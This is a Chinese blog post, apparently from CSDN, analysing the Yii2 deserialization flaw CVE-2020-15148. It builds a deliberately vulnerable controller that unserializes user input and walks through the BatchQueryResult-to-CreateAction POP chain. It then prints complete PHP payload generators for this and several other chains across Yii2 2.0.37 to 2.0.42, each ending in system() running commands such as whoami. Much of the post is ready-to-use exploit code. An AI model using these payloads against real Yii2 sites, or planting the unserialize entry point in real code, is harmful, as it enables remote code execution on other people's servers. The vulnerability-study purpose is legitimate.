yii反序列化分析

本文详细介绍了Yii2框架中的CVE-2020-15148反序列化漏洞,通过POP链分析,展示了如何利用BatchQueryResult类的__destruct方法,利用__call和call_user_func_array进行RCE攻击。作者逐步演示了环境搭建、控制器设计以及利用链的具体步骤。
摘要由CSDN通过智能技术生成

参考文章:

CVE-2020-15148 Yii2反序列化RCE POP链分析

yii反序列化漏洞复现及利用

yii 2.0.42 最新反序列化利用全集

Yii 反序列化 从0开始(一)wds

大部分内容都是参考以上文章,我更多的是从一个菜鸡视角解释和总结一下。

环境搭建

Release 2.0.37 · yiisoft/yii2 · GitHub

这里在phpstudy上搭建2.0.37版本的yii环境。

安装好后先进入config/web.php给cookie随便添加个密钥:

然后在根目录下命令:

php yii serve

默认服务端口为8080,如果需要用其它端口:

php yii serve --port=8888


访问localhost:8080即可看到搭建好的网页。

前置知识

控制器

localhost:8080/?r=

这个url是在调用控制器。

在controller目录下可以自定义控制器,且对文件名和类名,方法名有所要求。

如:

我们在该目录下新建一个TestController.php文件:

<?php
​
namespace app\controllers;
​
​
use yii\web\Controller;
​
class TestController extends Controller
{
    public function actionTest()
    {
        phpinfo();
    }
}
?>

基本格式便是如此。

类名及文件名要相同,且以xxx+Controller为名,且首字母要求大写。

方法名是以action+xxx为名,首字母要求大写。

而对r传参的时候都要传递小写字母:

讲这个的目的是等分析完链子后,我们需要构造一个反序列化的控制器来作为入口完成实验。

第一条链

影响范围:Yii2版本<2.0.38

漏洞出发点:

vendor\yiisoft\yii2\base\BatchQueryResult.php

BatchQueryResult类的__destruct方法:

因为__destruct方法是只需要反序列化后就能触发的方法,所以我们的着眼点很自然地能看向该类方法。

然后跟进reset()函数:

$_dataReader是可以通过序列化控制的,可以寻找有__call,而无close方法的类,由此触发__call方法。

全局搜索(vscode ctrl+shift+f),发现合适的方法:

\vendor\fzaninotto\faker\src\Faker\Generator.php

可能有人会不清楚__call方法是怎么样获取参数的(比如我),这里给一个例子:

<?php
class test
{
    public function __call($a,$b)
    {
       echo $a;
       var_dump($b);
    }
}
​
$test1=new test();
$test1->no_func('aaa','bbb');
​
?>

这里会输出

no_func
​
array(2) {  [0] =>  string(3) "aaa"  [1] =>  string(3) "bbb" }

也就是说__call方法会把错误调用或者不存在的方法作为第一个参数,而给这个方法的参数化为数组成为第二个参数。


跟进format函数:

call_user_func_array:

call_user_func_array(callable $callback, array $args)
​
callback
​
    被调用的回调函数。
args
​
    要被传入回调函数的数组。

这是官方给出的两个很好的示例:

1.

<?php
function foobar($arg, $arg2) {
    echo __FUNCTION__, " got $arg and $arg2\n";
}
class foo {
    function bar($arg, $arg2) {
        echo __METHOD__, " got $arg and $arg2\n";
    }
}
​
​
// Call the foobar() function with 2 arguments
call_user_func_array("foobar", array("one", "two"));
​
// Call the $foo->bar() method with 2 arguments
$foo = new foo;
call_user_func_array(array($foo, "bar"), array("three", "four"));
?>
​

输出:

foobar got one and two
foo::bar got three and four

2.使用命名空间的情况:

<?php
​
namespace Foobar;
​
class Foo {
    static public function test($name) {
        print "Hello {$name}!\n";
    }
}
​
call_user_func_array(__NAMESPACE__ .'\Foo::test', array('Hannes'));
​
call_user_func_array(array(__NAMESPACE__ .'\Foo', 'test'), array('Philip'));
​
?>

输出:

Hello Hannes!
Hello Philip!


眼光回到 getFormatter()函数:

call_user_func_array()的第二个参数是空数组,上面这段代码决定了第一个参数的返回值。

其中formatters是protected $formatters = array();,是我们可以进行控制的参数,也就是说我们可以通过初始化formatters,给其的close键名赋值。由于call_user_func_array()的参数支持调用对象中的函数,我们便可以借此传递任意类的任意方法。

比如:

由此我们可以用call_user_func_array()去调用某个类里面的方法,这个方法能够rce。

对这个方法是有所限定的:

1.这个方法是无需传递参数的,但它能用到它的属性作为参数,就比如上面我给出的例子,是如$this->这样来调用参数,这样我们才可以通过序列化控制它的值来达到效果。

2.这个方法要么是原生类的方法,要么是已有类的方法。


师傅们是以call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)的正则进行全局寻找。

最终在createAction和indexAction中找到能用的方法:

class Action extends \yii\base\Action
{   
    
    
    public $checkAccess;
    public $id;
    
        ''''''''
        ''''''''
        ''''''''
}
class CreateAction extends Action
{
   
​
public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }
​
        ........
        ........
        ........
    }
}

所以,整个利用链:

yii\db\BatchQueryResult::__destruct
->
Faker\Generator::__call
->
yii\rest\CreateAction::run()

poc:

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
​
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ipconfig';
        }
    }
}
​
namespace Faker{
    use yii\rest\CreateAction;
​
    class Generator{
        protected $formatters;
​
        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}
​
namespace yii\db{
    use Faker\Generator;
​
    class BatchQueryResult{
        private $_dataReader;
​
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

在开头我们用的控制器里面写入

<?php
​
namespace app\controllers;
​
use yii\web\Controller;
​
class TestController extends Controller
{
    public function actionTest($data)
    {
      return unserialize(base64_decode($data));
    }
}
?>

作为反序列化入口。(记得加return,,,nt了,,,)

传参rce成功。

其它链子

有时间再来复现:

yii 2.2.37

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace yii\db{

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{

    use yii\rest\IndexAction;

    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}

namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

yii 2.0.38

1.

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

2.

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

yii 2.0.42

1.

<?php

namespace Faker;
class DefaultGenerator{
    protected $default ;
    function __construct($argv)
    {
        $this->default = $argv;
    }
}

class ValidGenerator{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    function __construct($command,$argv)
    {
        $this->generator = new DefaultGenerator($argv);
        $this->validator = $command;
        $this->maxRetries = 99999999;
    }
}

namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
    private $processes = [];
    function __construct($command,$argv)
    {
        $this->processes[] = new ValidGenerator($command,$argv);
    }
}

$exp = new RunProcess('system','whoami');
echo(base64_encode(serialize($exp)));

2.

<?php

namespace yii\rest
{
    class IndexAction{
        function __construct()
        {
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}

namespace Symfony\Component\String
{
    use yii\rest\IndexAction;
    class LazyString
    {
        function __construct()
        {
            $this->value = [new indexAction(), "run"];
        }
    } 
    class UnicodeString
    {
        function __construct()
        {
            $this->value = new LazyString();
        }
    }
}

namespace Faker
{
    use Symfony\Component\String\LazyString;
    class DefaultGenerator
    {
        function __construct()
        {
            $this->default = new LazyString();
        }
    }

    class UniqueGenerator
    {
        function __construct()
        {
            $this->generator = new DefaultGenerator();
            $this->maxRetries = 99999999;
        }

    }
}

namespace Codeception\Extension
{
    use Faker\UniqueGenerator;
    class RunProcess
    {
        function __construct()
        {
            $this->processes[] = new UniqueGenerator();
        }
    }
}

namespace
{
    use Codeception\Extension\RunProcess;
    $exp = new RunProcess();
    echo(base64_encode(serialize($exp)));
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值